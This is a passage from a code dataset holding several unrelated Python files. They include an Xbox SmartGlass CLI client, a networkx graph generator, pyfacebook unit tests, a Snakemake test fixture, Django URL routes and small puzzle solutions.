connection_arg = argparse.ArgumentParser(add_help=False)\n connection_arg.add_argument(\n '--address', '-a', type=str, default=None,\n help=\"IP address of console\")\n connection_arg.add_argument(\n '--liveid', '-l',\n help='LiveID to poweron')\n\n server_args = argparse.ArgumentParser(add_help=False)\n server_args.add_argument(\n '--bind', '-b', default='127.0.0.1',\n help='Interface address to bind the server')\n server_args.add_argument(\n '--port', '-p', type=int, default=0,\n help='Port to bind to, defaults: (REST: 5557, REPL: 5558)')\n\n \"\"\"Common argument for interactively choosing console to handle\"\"\"\n interactive_arg = argparse.ArgumentParser(add_help=False)\n interactive_arg.add_argument(\n '--interactive', '-i', action='store_true',\n help=\"Interactively choose console to connect to\")\n\n \"\"\"\n Define commands\n \"\"\"\n subparsers = parser.add_subparsers(help='Available commands')\n # NOTE: Setting dest and required here for py3.6 compat\n subparsers.dest = 'command'\n subparsers.required = True\n\n \"\"\"Discover\"\"\"\n subparsers.add_parser(Commands.Discover,\n help='Discover console',\n parents=[logging_args,\n connection_arg])\n\n \"\"\"Power on\"\"\"\n subparsers.add_parser(\n Commands.PowerOn,\n help='Power on console',\n parents=[logging_args, connection_arg])\n\n \"\"\"Power off\"\"\"\n poweroff_cmd = subparsers.add_parser(\n Commands.PowerOff,\n help='Power off console',\n parents=[logging_args, xbl_token_args,\n interactive_arg, connection_arg])\n poweroff_cmd.add_argument(\n '--all', action='store_true',\n help=\"Power off all consoles\")\n\n \"\"\"Local REPL\"\"\"\n subparsers.add_parser(\n Commands.REPL,\n help='Local REPL (interactive console)',\n parents=[logging_args, xbl_token_args,\n interactive_arg, connection_arg])\n\n \"\"\"REPL server\"\"\"\n subparsers.add_parser(\n Commands.REPLServer,\n help='REPL server (interactive console)',\n parents=[logging_args, xbl_token_args,\n interactive_arg, connection_arg,\n server_args])\n\n \"\"\"Fallout relay\"\"\"\n subparsers.add_parser(\n Commands.FalloutRelay,\n help='Fallout 4 Pip boy relay',\n parents=[logging_args, xbl_token_args,\n interactive_arg, connection_arg])\n\n \"\"\"Controller input\"\"\"\n subparsers.add_parser(\n Commands.GamepadInput,\n help='Send controller input to dashboard / apps',\n parents=[logging_args, xbl_token_args,\n interactive_arg, connection_arg])\n\n \"\"\"Text input\"\"\"\n subparsers.add_parser(\n Commands.TextInput,\n help='Client to use Text input functionality',\n parents=[logging_args, xbl_token_args,\n interactive_arg, connection_arg])\n\n tui_cmd = subparsers.add_parser(\n Commands.TUI,\n help='TUI client - fancy :)',\n parents=[logging_args, xbl_token_args,\n connection_arg])\n tui_cmd.add_argument(\n '--consoles', '-c', default=CONSOLES_FILE,\n help=\"Previously discovered consoles (json)\")\n\n # FIXME: If possible include startup for REST server here too\n \"\"\"\n REST server\n NOTE: Only argument parsing is handled in here,\n The actual start code is in a dedicated script.\n\n This is required due to gevent monkey patching for\n the FLASK web-framework to work.\n \"\"\"\n subparsers.add_parser(\n Commands.RESTServer,\n help='REST server',\n parents=[logging_args, xbl_token_args, server_args])\n\n return parser.parse_args(args)\n\n\ndef handle_logging_setup(args):\n \"\"\"\n Determine log level, logfile and special DEBUG_INCL_PACKETS\n via cmdline arguments.\n\n Args:\n args: ArgumentParser `Namespace`\n\n Returns:\n None\n \"\"\"\n levels = [logging.WARNING, logging.INFO, logging.DEBUG, LOG_LEVEL_DEBUG_INCL_PACKETS]\n # Output level capped to number of levels\n log_level = levels[min(len(levels) - 1, args.verbose)]\n logging.basicConfig(level=log_level, format=LOG_FMT)\n logging.root.info('Set Loglevel: {0}'\n .format(logging.getLevelName(log_level)))\n\n if log_level == LOG_LEVEL_DEBUG_INCL_PACKETS:\n logging.root.info('Removing previous logging StreamHandlers')\n while len(logging.root.handlers):\n del logging.root.handlers[0]\n\n logging.root.info('Using DEBUG_INCL_PACKETS logging')\n debugext_handler = logging.StreamHandler()\n debugext_handler.setFormatter(VerboseFormatter(LOG_FMT))\n logging.root.addHandler(debugext_handler)\n\n if args.logfile:\n logging.root.info('Set Logfile path: {0}'.format(args.logfile))\n file_handler = RotatingFileHandler(args.logfile, backupCount=2)\n file_handler.setLevel(log_level)\n file_handler.setFormatter(logging.Formatter(LOG_FMT))\n logging.root.addHandler(file_handler)\n\n\ndef do_authentication(token_filepath, do_refresh):\n \"\"\"\n Shortcut for doing xbox live authentication (uses xbox-webapi-python lib).\n\n Args:\n token_filepath (str): Token filepath\n do_refresh (bool): Whether to refresh tokens\n\n Returns:\n AuthenticationManager: An authenticated instance\n\n Raises:\n AuthenticationException: If authentication failed\n \"\"\"\n auth_mgr = AuthenticationManager.from_file(token_filepath)\n auth_mgr.authenticate(do_refresh=do_refresh)\n if do_refresh:\n auth_mgr.dump(token_filepath)\n\n return auth_mgr\n\n\ndef choose_console_interactively(console_list):\n \"\"\"\n Choose a console to use via user-input\n\n Args:\n console_list (list): List of consoles to choose from\n\n Returns:\n None if choice was aborted, a desired console object otherwise\n \"\"\"\n entry_count = len(console_list)\n LOGGER.debug('Offering console choices: {0}'.format(entry_count))\n\n print('Discovered consoles:')\n for idx, console in enumerate(console_list):\n print(' {0}: {1} {2} {3}'\n .format(idx, console.name, console.liveid, console.address))\n\n print('Enter \\'x\\' to abort')\n\n choices = [str(i) for i in range(entry_count)]\n choices.append('e')\n\n response = ''\n while response not in choices:\n response = input('Make your choice: ')\n if response == 'e':\n return None\n\n return console_list[int(response)]\n\n\ndef cli_discover_consoles(args):\n \"\"\"\n Discover consoles\n \"\"\"\n LOGGER.info('Sending discovery packets to IP: {0}'\n .format('IP: ' + args.address if args.address else ''))\n discovered = Console.discover(addr=args.address, timeout=1)\n\n if not len(discovered):\n LOGGER.error('No consoles discovered')\n sys.exit(ExitCodes.DiscoveryError)\n\n LOGGER.info('Discovered consoles ({0}): {1}'\n .format(len(discovered), ', '.join([str(c) for c in discovered])))\n\n if args.liveid:\n LOGGER.info('Filtering discovered consoles for LIVEID: {0}'\n .format(args.liveid))\n discovered = [c for c in discovered if c.liveid == args.liveid]\n if args.address:\n LOGGER.info('Filtering discovered consoles for IP address: {0}'\n .format(args.address))\n discovered = [c for c in discovered if c.address == args.address]\n\n return discovered\n\n\ndef main(command=None):\n \"\"\"\n Main entrypoint\n \"\"\"\n auth_manager = None\n repl_server_handle = None # Used for Command.REPLServer\n\n if command:\n # Take passed command and append actual cmdline\n cmdline_arguments = sys.argv[1:]\n cmdline_arguments.insert(0, command)\n else:\n cmdline_arguments = None\n\n args = parse_arguments(cmdline_arguments)\n handle_logging_setup(args)\n\n LOGGER.debug('Parsed arguments: {0}'.format(args))\n\n command = args.command\n LOGGER.debug('Chosen command: {0}'.format(command))\n\n if command == Commands.RESTServer:\n LOGGER.info('Make sure you used the dedicated \\'xbox-rest-server\\' script'\n ' to start the REST server!')\n\n elif 'interactive' in args and args.interactive and \\\n (args.address or args.liveid):\n LOGGER.error('Flag \\'--interactive\\' is incompatible with'\n ' providing an IP address (--address) or LiveID (--liveid) explicitly')\n sys.exit(ExitCodes.ArgParsingError)\n elif args.liveid and args.address:\n LOGGER.warning('You passed --address AND --liveid: Will only use that specific'\n 'combination!')\n elif command == Commands.PowerOff and args.all and (args.liveid or args.address):\n LOGGER.error('Poweroff with --all flag + explicitly provided LiveID / IP address makes no sense')\n sys.exit(ExitCodes.ArgParsingError)\n elif command == Commands.PowerOff and args.interactive and args.all:\n LOGGER.error('Combining args --all and --interactive not supported')\n sys.exit(ExitCodes.ArgParsingError)\n\n print('Xbox SmartGlass main client started')\n\n if command == Commands.RESTServer:\n \"\"\"\n REST Server\n \"\"\"\n\n if args.port == 0:\n LOGGER.info('No defaults provided, '\n 'Setting REST server port to {0}'.format(REST_DEFAULT_SERVER_PORT))\n args.port = REST_DEFAULT_SERVER_PORT\n\n print('Xbox Smartglass REST server started on {0}:{1}'.format(\n args.bind, args.port\n ))\n\n flask_app.token_file = args.tokens\n server = rest_pywsgi.WSGIServer((args.bind, args.port), flask_app)\n server.serve_forever()\n sys.exit(ExitCodes.OK)\n elif command == Commands.TUI:\n \"\"\"\n Text user interface (powered by urwid)\n \"\"\"\n # Removing stream handlers to not pollute TUI\n for h in [sh for sh in logging.root.handlers\n if isinstance(sh, logging.StreamHandler)]:\n LOGGER.debug('Removing StreamHandler {0} from root logger'.format(h))\n logging.root.removeHandler(h)\n\n sys.exit(tui.run_tui(args.consoles, args.address,\n args.liveid, args.tokens, args.refresh))\n\n elif 'tokens' in args:\n \"\"\"\n Do Xbox live authentication\n \"\"\"\n LOGGER.debug('Command {0} supports authenticated connection'.format(command))\n try:\n auth_manager = do_authentication(args.tokens, args.refresh)\n except AuthenticationException:\n LOGGER.exception('Authentication failed!')\n LOGGER.error(\"Please re-run xbox-authenticate to get a fresh set\")\n sys.exit(ExitCodes.AuthenticationError)\n\n elif command == Commands.PowerOn:\n \"\"\"\n Powering up console\n \"\"\"\n if not args.liveid:\n LOGGER.error('No LiveID (--liveid) provided for power on!')\n sys.exit(ExitCodes.ArgParsingError)\n\n LOGGER.info('Sending poweron packet for LiveId: {0} to {1}'\n .format(args.liveid,\n 'IP: ' + args.address if args.address else ''))\n Console.power_on(args.liveid, args.address, tries=10)\n sys.exit(0)\n\n \"\"\"\n Discovery\n \"\"\"\n discovered = cli_discover_consoles(args)\n\n if command == Commands.Discover:\n \"\"\"\n Simply print discovered consoles\n \"\"\"\n print(\"Discovered %d consoles: \" % len(discovered))\n for console in discovered:\n print(\" %s\" % console)\n sys.exit(ExitCodes.OK)\n\n elif command == Commands.PowerOff and args.all:\n \"\"\"\n Early call for poweroff --all\n \"\"\"\n \"\"\"Powering off all discovered consoles\"\"\"\n for c in discovered:\n print('Powering off console {0}'.format(c))\n c.power_off()\n sys.exit(ExitCodes.OK)\n\n \"\"\"\n Choosing/filtering a console from the discovered ones\n \"\"\"\n console = None\n if args.interactive:\n LOGGER.debug('Starting interactive console choice')\n console = choose_console_interactively(discovered)\n elif len(discovered) == 1:\n LOGGER.debug('Choosing sole console, no user interaction required')\n console = discovered[0]\n elif len(discovered) > 1:\n LOGGER.error(\n 'More than one console was discovered and no exact'\n ' connection parameters were provided')\n\n if not console:\n LOGGER.error('Choosing a console failed!')\n sys.exit(ExitCodes.ConsoleChoice)\n\n LOGGER.info('Choosen target console: {0}'.format(console))\n\n LOGGER.debug('Setting console callbacks')\n console.on_device_status += \\\n lambda x: LOGGER.info('Device status: {0}'.format(x))\n console.on_connection_state += \\\n lambda x: LOGGER.info('Connection state: {0}'.format(x))\n console.on_pairing_state += \\\n lambda x: LOGGER.info('Pairing state: {0}'.format(x))\n console.on_console_status += \\\n lambda x: LOGGER.info('Console status: {0}'.format(x))\n console.on_timeout += \\\n lambda x: LOGGER.error('Timeout occured!') or sys.exit(1)\n\n userhash = auth_manager.userinfo.userhash\n xtoken = auth_manager.xsts_token\n\n LOGGER.debug('Authentication info:')\n LOGGER.debug('Userhash: {0}'.format(userhash))\n LOGGER.debug('XToken: {0}'.format(xtoken))\n\n LOGGER.info('Attempting connection...')\n state = console.connect(userhash, xtoken.jwt)\n if state != ConnectionState.Connected:\n LOGGER.error('Connection failed! Console: {0}'.format(console))\n sys.exit(1)\n\n # FIXME: Waiting explicitly\n LOGGER.info('Connected to console: {0}'.format(console))\n LOGGER.debug('Waiting a second before proceeding...')\n console.wait(1)\n\n if command == Commands.PowerOff:\n \"\"\"\n Power off (single console)\n \"\"\"\n print('Powering off console {0}'.format(console))\n console.power_off()\n sys.exit(ExitCodes.OK)\n\n elif command == Commands.REPL or \\\n command == Commands.REPLServer:\n\n banner = 'You are connected to the console @ {0}\\n'\\\n .format(console.address)\n banner += 'Type in \\'console\\' to acccess the object\\n'\n banner += 'Type in \\'exit()\\' to quit the application'\n\n scope_vars = {'console': console}\n\n if command == Commands.REPL:\n LOGGER.info('Starting up local REPL console')\n repl_local = InteractiveConsole(locals=scope_vars)\n repl_local.interact(banner)\n else:\n\n if args.port == 0:\n LOGGER.info('No defaults provided, '\n 'Setting REPL server port to {0}'.format(REPL_DEFAULT_SERVER_PORT))\n args.port = REPL_DEFAULT_SERVER_PORT\n\n startinfo = 'Starting up REPL server @ {0}:{1}'.format(args.bind, args.port)\n print(startinfo)\n LOGGER.info(startinfo)\n\n repl_server_handle = backdoor.BackdoorServer(\n listener=(args.bind, args.port),\n banner=banner,\n locals=scope_vars)\n\n elif command == Commands.FalloutRelay:\n \"\"\"\n Fallout 4 relay\n \"\"\"\n print('Starting Fallout 4 relay service...')\n console.add_manager(TitleManager)\n console.title.on_connection_info += fallout4_relay.on_connection_info\n console.start_title_channel(title_id=fallout4_relay.FALLOUT_TITLE_ID)\n print('Fallout 4 relay started')\n elif command == Commands.GamepadInput:\n \"\"\"\n Gamepad input\n \"\"\"\n print('Starting gamepad input handler...')\n console.add_manager(manager.InputManager)\n gamepad_input.input_loop(console)\n elif command == Commands.TextInput:\n \"\"\"\n Text input\n \"\"\"\n print('Starting text input handler...')\n console.add_manager(manager.TextManager)\n console.text.on_systemtext_configuration += text_input.on_text_config\n console.text.on_systemtext_input += functools.partial(text_input.on_text_input, console)\n console.text.on_systemtext_done += text_input.on_text_done\n\n LOGGER.debug('Installing gevent SIGINT handler')\n signal.signal(signal.SIGINT, lambda *a: console.protocol.stop())\n\n if repl_server_handle:\n LOGGER.debug('Starting REPL server protocol')\n\n LOGGER.debug('Starting console.protocol.serve_forever()')\n console.protocol.serve_forever()\n\n LOGGER.debug('Protocol serving exited')\n if repl_server_handle:\n LOGGER.debug('Stopping REPL server protocol')\n repl_server_handle.stop()\n\n\ndef main_discover():\n \"\"\"Entrypoint for discover script\"\"\"\n main(Commands.Discover)\n\n\ndef main_poweron():\n \"\"\"Entrypoint for poweron script\"\"\"\n main(Commands.PowerOn)\n\n\ndef main_poweroff():\n \"\"\"Entrypoint for poweroff script\"\"\"\n main(Commands.PowerOff)\n\n\ndef main_repl():\n \"\"\"Entrypoint for REPL script\"\"\"\n main(Commands.REPL)\n\n\ndef main_replserver():\n \"\"\"Entrypoint for REPL server script\"\"\"\n main(Commands.REPLServer)\n\n\ndef main_falloutrelay():\n \"\"\"Entrypoint for Fallout 4 relay script\"\"\"\n main(Commands.FalloutRelay)\n\n\ndef main_textinput():\n \"\"\"Entrypoint for Text input script\"\"\"\n main(Commands.TextInput)\n\n\ndef main_gamepadinput():\n \"\"\"Entrypoint for Gamepad input script\"\"\"\n main(Commands.GamepadInput)\n\n\ndef main_tui():\n \"\"\"Entrypoint for TUI script\"\"\"\n main(Commands.TUI)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"xbox/scripts/main_cli.py","file_name":"main_cli.py","file_ext":"py","file_size_in_byte":20043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"266705412","text":"#!/usr/bin/env python\nimport networkx as nx\nimport sys\n\nprint ('Arguments: numberOfVertexes, outputFileName')\nprint ('Generating graph: ')\nprint ('Vertexes: ' + sys.argv[1])\nprint ('To file: ' + sys.argv[2])\nG = nx.path_graph(int(sys.argv[1]))\nf = open(sys.argv[2], 'w')\nf.write(str(nx.number_of_nodes(G)))\nf.write(\" \")\nf.write(str(nx.number_of_edges(G)))\nf.write(\"\\n\")\n\n# writing down the graph\nfor edge in nx.edges(G):\n f.write(str(edge[0]+1))\n f.write(\" \")\n f.write(str(edge[1]+1))\n f.write(\"\\n\")\n\nf.close()\n","sub_path":"graphs/generators/pathGraph.py","file_name":"pathGraph.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"622998587","text":"import json\nimport unittest\n\nimport pyfacebook\n\n\nclass FacebookModelTest(unittest.TestCase):\n def setUp(self):\n self.base_path = 'testdata/facebook/'\n\n def testAccessToken(self):\n with open(self.base_path + 'access_token.json', 'rb') as f:\n token_data = json.loads(f.read().decode('utf-8'))\n\n access_token = pyfacebook.AccessToken.new_from_json_dict(token_data)\n try:\n access_token.__repr__()\n except Exception as e:\n self.fail(e)\n\n origin_json_data = json.dumps(token_data, sort_keys=True)\n self.assertEqual(origin_json_data, access_token.as_json_string())\n self.assertEqual(token_data, access_token.as_dict())\n\n self.assertEqual(access_token.app_id, '12345678910')\n self.assertEqual(access_token.scopes, [\"public_profile\"])\n\n def testPage(self):\n with open(self.base_path + 'page_info.json', 'rb') as f:\n page_data = json.loads(f.read().decode('utf-8'))\n\n page_info = pyfacebook.Page.new_from_json_dict(page_data)\n\n try:\n page_info.__repr__()\n page_info.category_list[0].__repr__()\n page_info.cover.__repr__()\n page_info.engagement.__repr__()\n except Exception as e:\n self.fail(e)\n\n origin_json_data = json.dumps(page_data, sort_keys=True)\n self.assertEqual(origin_json_data, page_info.as_json_string())\n self.assertEqual(page_data, page_info.as_dict())\n\n self.assertEqual(page_info.id, '20531316728')\n self.assertTrue(isinstance(page_info.category_list, list))\n self.assertTrue(isinstance(page_info.cover, pyfacebook.Cover))\n self.assertTrue(isinstance(page_info.engagement, pyfacebook.PageEngagement))\n\n def testPagePicture(self):\n with open(self.base_path + '/models/page_picture.json', 'rb') as f:\n picture_data = json.loads(f.read().decode('utf-8'))\n\n picture = pyfacebook.PagePicture.new_from_json_dict(picture_data)\n\n try:\n picture.__repr__()\n except Exception as e:\n self.fail(e)\n\n origin_json_data = json.dumps(picture_data, sort_keys=True)\n self.assertEqual(origin_json_data, picture.as_json_string())\n self.assertEqual(picture_data, picture.as_dict())\n\n self.assertEqual(picture.height, 100)\n\n def testPagePost(self):\n with open(self.base_path + '/post_info.json', 'rb') as f:\n post_data = json.loads(f.read().decode('utf-8'))\n\n post_info = pyfacebook.Post.new_from_json_dict(post_data)\n\n try:\n post_info.__repr__()\n post_info.comments.__repr__()\n post_info.shares.__repr__()\n post_info.reactions.__repr__()\n post_info.attachments[0].__repr__()\n except Exception as e:\n self.fail(e)\n\n origin_json_data = json.dumps(post_data, sort_keys=True)\n # real instance has custom 'type' field\n self.assertNotEqual(post_info.as_json_string(), origin_json_data)\n self.assertNotEqual(post_info.as_dict(), post_data)\n\n self.assertEqual(post_info.id, '20531316728_10158658756111729')\n self.assertTrue(isinstance(post_info.comments, pyfacebook.CommentSummary))\n self.assertTrue(isinstance(post_info.shares, pyfacebook.ShareSummary))\n self.assertTrue(isinstance(post_info.reactions, pyfacebook.ReactionSummary))\n self.assertTrue(isinstance(post_info.attachments[0], pyfacebook.Attachment))\n self.assertTrue(isinstance(post_info.like, pyfacebook.ReactionSummary))\n\n def testComment(self):\n with open(self.base_path + 'models/comment_info.json', 'rb') as f:\n comment_data = json.loads(f.read().decode('utf-8'))\n\n comment = pyfacebook.Comment.new_from_json_dict(comment_data)\n\n try:\n comment.__repr__()\n except Exception as e:\n self.fail(e)\n\n origin_json_data = json.dumps(comment_data, sort_keys=True)\n self.assertEqual(comment.as_json_string(), origin_json_data)\n self.assertEqual(comment.as_dict(), comment_data)\n\n self.assertEqual(comment.id, '10158658755326729_10158658760011729')\n\n def testCommentSummary(self):\n with open(self.base_path + 'models/comment_summary.json', 'rb') as f:\n comment_summary_data = json.loads(f.read().decode('utf-8'))\n\n comment_summary = pyfacebook.CommentSummary.new_from_json_dict(comment_summary_data)\n\n try:\n comment_summary.__repr__()\n except Exception as e:\n self.fail(e)\n\n origin_json_data = json.dumps(comment_summary_data, sort_keys=True)\n self.assertEqual(comment_summary.as_json_string(), origin_json_data)\n self.assertEqual(comment_summary.as_dict(), comment_summary_data)\n\n self.assertEqual(comment_summary.total_count, 794)\n","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":4872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"44482751","text":"# Número de testes de entrada\r\nT = int(input())\r\n\r\n# Para cada iteração a conta fica:\r\n# 1 + denominador/(2*denominador + numerador)\r\nN=70\r\nD=169\r\nfor i in range (7,T+1):\r\n N, D = D, D * 2 + N\r\n if len(str(N + D)) > len(str(D)):\r\n print(i)","sub_path":"Hacker Rank - Project Euler/hackerrank-euler057.py","file_name":"hackerrank-euler057.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"247538270","text":"import os\nfrom textwrap import dedent\nimport pytest\nimport utils\n\n# Each module has a config dict\nconfig = dict()\n\n\ndef generic_fixture(key, mapping, factory):\n \"\"\"\n Tries to handle as much of the magic as possible.\n\n Parameters\n ----------\n key : str\n Key into the module-level config dict\n\n mapping : dict\n Maps paths from fixtures to input files expected by the snakefile\n\n tmpdir : str\n Path to temporary dir, usually created by utils.tmpdir_for_func\n\n Returns\n -------\n After a successful Snakemake run, returns the dictionary of the config's\n `output` key but with paths fixed to be relative to tmpdir. This returned\n dict is ready to be used as a fixture by test functions.\n \"\"\"\n conf = config[key]\n tmpdir = utils.tmpdir_for_func(factory)\n input_data_func = utils.symlink_in_tempdir(mapping)\n utils.run(utils.dpath(conf['wrapper']), conf['snakefile'], None, input_data_func, tmpdir)\n output = conf['output'].copy()\n for k, v in output.items():\n output[k] = os.path.join(tmpdir, v)\n return output\n\n\n# In order for the doc generation to find this config info without re-running\n# all tests, it needs to be in the module-level dict. It similarly can't be\n# added during the fixture function's runtime.\n#\n# However, the mapping and tmpdir must be provided by the function, so the\n# config and the function are tightly coupled.\n#\n# So we add the item to the dictionary here, right above the function that will\n# be using it to keep them tightly coupled in the file.\nconfig['hisat2_index'] = dict(\n description=\"Basic example of generating a hisat2 index\",\n wrapper=\"../wrappers/hisat2/build\",\n snakefile=\"\"\"\n rule hisat2_build:\n input:\n fasta=\"2L.fa\"\n output:\n index=expand(\"hisat2_index/assembly.{n}.ht2\", n=range(1,9))\n log: \"hisat.log\"\n wrapper: \"file://wrapper\"\n \"\"\",\n output={'prefix': 'hisat2_index/assembly'}\n)\n\n\n# All the hard work is done in the config and in generic_fixture(). Now we just\n# need to set up the correct mapping of fixtures to input files.\n@pytest.fixture(scope='module')\ndef hisat2_index(tmpdir_factory, dm6_fa):\n mapping = {dm6_fa: '2L.fa'}\n return generic_fixture('hisat2_index', mapping, tmpdir_factory)\n\n# The actual test.\ndef test_index(hisat2_index):\n assert os.path.exists(hisat2_index['prefix'] + '.1.ht2')\n\n\ndef extract_examples_for_wrapper(wrapper):\n \"\"\"\n Returns the examples for the wrapper in markdown format.\n\n Parameters\n ----------\n wrapper : str\n Expected to be the value of one of the config dict's `wrapper` keys.\n \"\"\"\n markdown = []\n for k, v in config.items():\n if v['wrapper'] != wrapper:\n continue\n snakefile = dedent(v['snakefile'])\n markdown.append(\n dedent(\n \"\"\"\n {}\n\n ```python\"\"\".format(v['description'])))\n markdown.append(snakefile)\n markdown.append(\"```\")\n return \"\\n\".join(markdown)\n","sub_path":"wrappers/test_toy.py","file_name":"test_toy.py","file_ext":"py","file_size_in_byte":3059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"642769094","text":"\n\nfrom xai.brain.wordbase.nouns._primate import _PRIMATE\n\n#calss header\nclass _PRIMATES(_PRIMATE, ):\n\tdef __init__(self,): \n\t\t_PRIMATE.__init__(self)\n\t\tself.name = \"PRIMATES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"primate\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_primates.py","file_name":"_primates.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"215190458","text":"import sys\n\nsys.setrecursionlimit(10 ** 8)\nini = lambda: int(sys.stdin.readline())\ninm = lambda: map(int, sys.stdin.readline().split())\ninl = lambda: list(inm())\nins = lambda: sys.stdin.readline().rstrip()\ndebug = lambda *a, **kw: print(\"\\033[33m\", *a, \"\\033[0m\", **dict(file=sys.stderr, **kw))\n\nn, m = inm()\nsc = [tuple(inm()) for i in range(m)]\n\n\ndef digits(x):\n if x < 10:\n return 1\n if x < 100:\n return 2\n return 3\n\n\ndef solve():\n for x in range(1000):\n if digits(x) != n:\n continue\n sx = str(x)\n ok = True\n for i in range(m):\n s, c = sc[i]\n if sx[s - 1] != str(c):\n ok = False\n break\n if ok:\n return x\n\n return -1\n\n\nprint(solve())\n","sub_path":"Python_codes/p02761/s415223309.py","file_name":"s415223309.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"104006664","text":"import tensorflow as tf\n\n\ndef triplet_loss(self, outputs, inputs, **config):\n distance_p = tf.norm(outputs['descriptor_image'] - outputs['descriptor_p'], axis=1)\n distance_n = tf.norm(outputs['descriptor_image'] - outputs['descriptor_n'], axis=1)\n if config['loss_in']:\n loss = tf.maximum(distance_p + config['triplet_margin'] - distance_n, 0)\n if config['loss_squared']:\n loss = tf.square(loss)\n else:\n dp = tf.square(distance_p) if config['loss_squared'] else distance_p\n dn = tf.square(distance_n) if config['loss_squared'] else distance_n\n loss = dp + tf.maximum(config['triplet_margin'] - dn, 0)\n return [tf.reduce_mean(i) for i in [loss, distance_p, distance_n]]\n","sub_path":"retrievalnet/retrievalnet/models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"479968851","text":"from django.urls import path, re_path\nfrom subscribe.views import user_subscribe, user_block, tag_block, tag_subscribe, fav_post, fav_micro_post\n\nurlpatterns = [\n re_path(r'^micro-post/(?P[0-9])/favourite/$', fav_micro_post, name='fav_micro_post'),\n re_path(r'^tag/(?P[\\w-]+)/subscribe/$', tag_subscribe, name='tag-subscribe'),\n re_path(r'^tag/(?P[\\w-]+)/block/$', tag_block, name='tag-block'),\n re_path(r'^user/(?P[0-9])/block/$',user_block , name='user-block'),\n re_path('user/(?P[0-9])/subscribe/$',user_subscribe , name='user-subscribe'),\n\n]","sub_path":"socialNewsApp/src/subscribe/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"206347231","text":"\nfrom config import logger\nfrom data.db_connection import DBConnection\nfrom third_party.utility_api.utility_api_wrapper import UtilityApiWrapper\n\n\nclass ElectricityCost:\n\n def __init__(self):\n self.utility_api_wrapper = UtilityApiWrapper()\n\n \n def get_cost_ytd(self, building_id, building_address, year):\n total_cost = None\n # Supply cost\n with DBConnection() as conn:\n sql = '''select sum(bill_amount_cents) as amount_ytd\n from bill_history\n where building_id = %s\n and date_part('year', to_dt) = %s\n and unit_id is null\n '''\n recs = conn.select_dict(sql, [building_id, year])\n if recs[0]['amount_ytd'] is not None:\n total_cost = round(int(recs[0]['amount_ytd']) / 100, 2)\n logger.info('Supply cost from bill history for {}, is: ${}'.format(year, total_cost))\n\n # Consumption cost\n cost_ytd_curr_year = self.utility_api_wrapper.get_cost_ytd(year, [building_address])\n if cost_ytd_curr_year:\n logger.info('UtilityApi cost for {}, is: ${}'.format(year, cost_ytd_curr_year))\n total_cost = cost_ytd_curr_year + total_cost if total_cost else cost_ytd_curr_year\n\n return total_cost\n \n\n def get_cost_latest_billing_cycle(self, building_id, building_address, dt_in_cycle):\n total_cost = None\n with DBConnection() as conn:\n sql = '''select bill_amount_cents\n from bill_history\n where building_id = %s\n and (from_dt <= %s and %s <= to_dt)\n '''\n recs = conn.select_dict(sql, [building_id, dt_in_cycle, dt_in_cycle])\n if recs:\n total_cost = round(int(recs[0]['bill_amount_cents']) / 100, 2)\n logger.info('Supply cost from bill history for billing cycle with date {}, is: ${}'.format(dt_in_cycle, total_cost))\n\n lastest_billing_cycle_cost = self.utility_api_wrapper.get_cost_curr_cycle(dt_in_cycle, [building_address])\n if lastest_billing_cycle_cost:\n logger.info('UtilityApi cost for billing cycle with date {}, is: ${}'.format(dt_in_cycle, lastest_billing_cycle_cost))\n total_cost = lastest_billing_cycle_cost + total_cost if total_cost else lastest_billing_cycle_cost\n\n return total_cost","sub_path":"controller/analytics_management/electricity_cost.py","file_name":"electricity_cost.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"528700355","text":"import random\n\n\n#함수\ndef getNumber() :\n return random.randrange(1,46)\n\n\n\n\n#변수\nlotto=[]\n#메인\nprint(\"**로또 추첨을 시작합니다.**\\n\")\nwhile(len(set(lotto)) < 6) :\n lotto.append(getNumber())\nprint(lotto)\nprint(list(set(lotto)))\nprint(set(lotto))\n\n\n\n\n# lotto=[]\n# while len(lotto) < 6 :\n# num = getNumber()\n# if lotto.count(num) == 0 :\n# lotto.append(num)\n# lotto.sort()\n# print(\"이주의 추첨번호는 : \",lotto)\n\n","sub_path":"Python_project/01_02/lotto.py","file_name":"lotto.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"133303516","text":"import pandas as pd\nimport numpy as np\nimport datetime\nfrom ast import literal_eval\nimport Utilities.DataTransforms as UtilitiesDataTransforms\nimport Utilities.DatasetTemplate as DatasetTemplate\n\n\n\nclass IMDBCreditsData(DatasetTemplate.DatasetTemplate):\n\tdef __init__(self, raw_location, clean_location):\n\t\t DatasetTemplate.DatasetTemplate.__init__(self, raw_location, clean_location)\n\n\n\tdef clean_raw(self):\n\t\traw = self.get_raw()\n\t\t#convert a string looking python object into actual python object\n\t\tfeatures = ['cast', 'crew']\n\t\tfor feature in features:\n\t\t\traw[feature] = raw[feature].apply(literal_eval)\n\n\t\tdef get_director(x):\n\t\t\tfor crew_member in x:\n\t\t\t\tif crew_member['job'] == 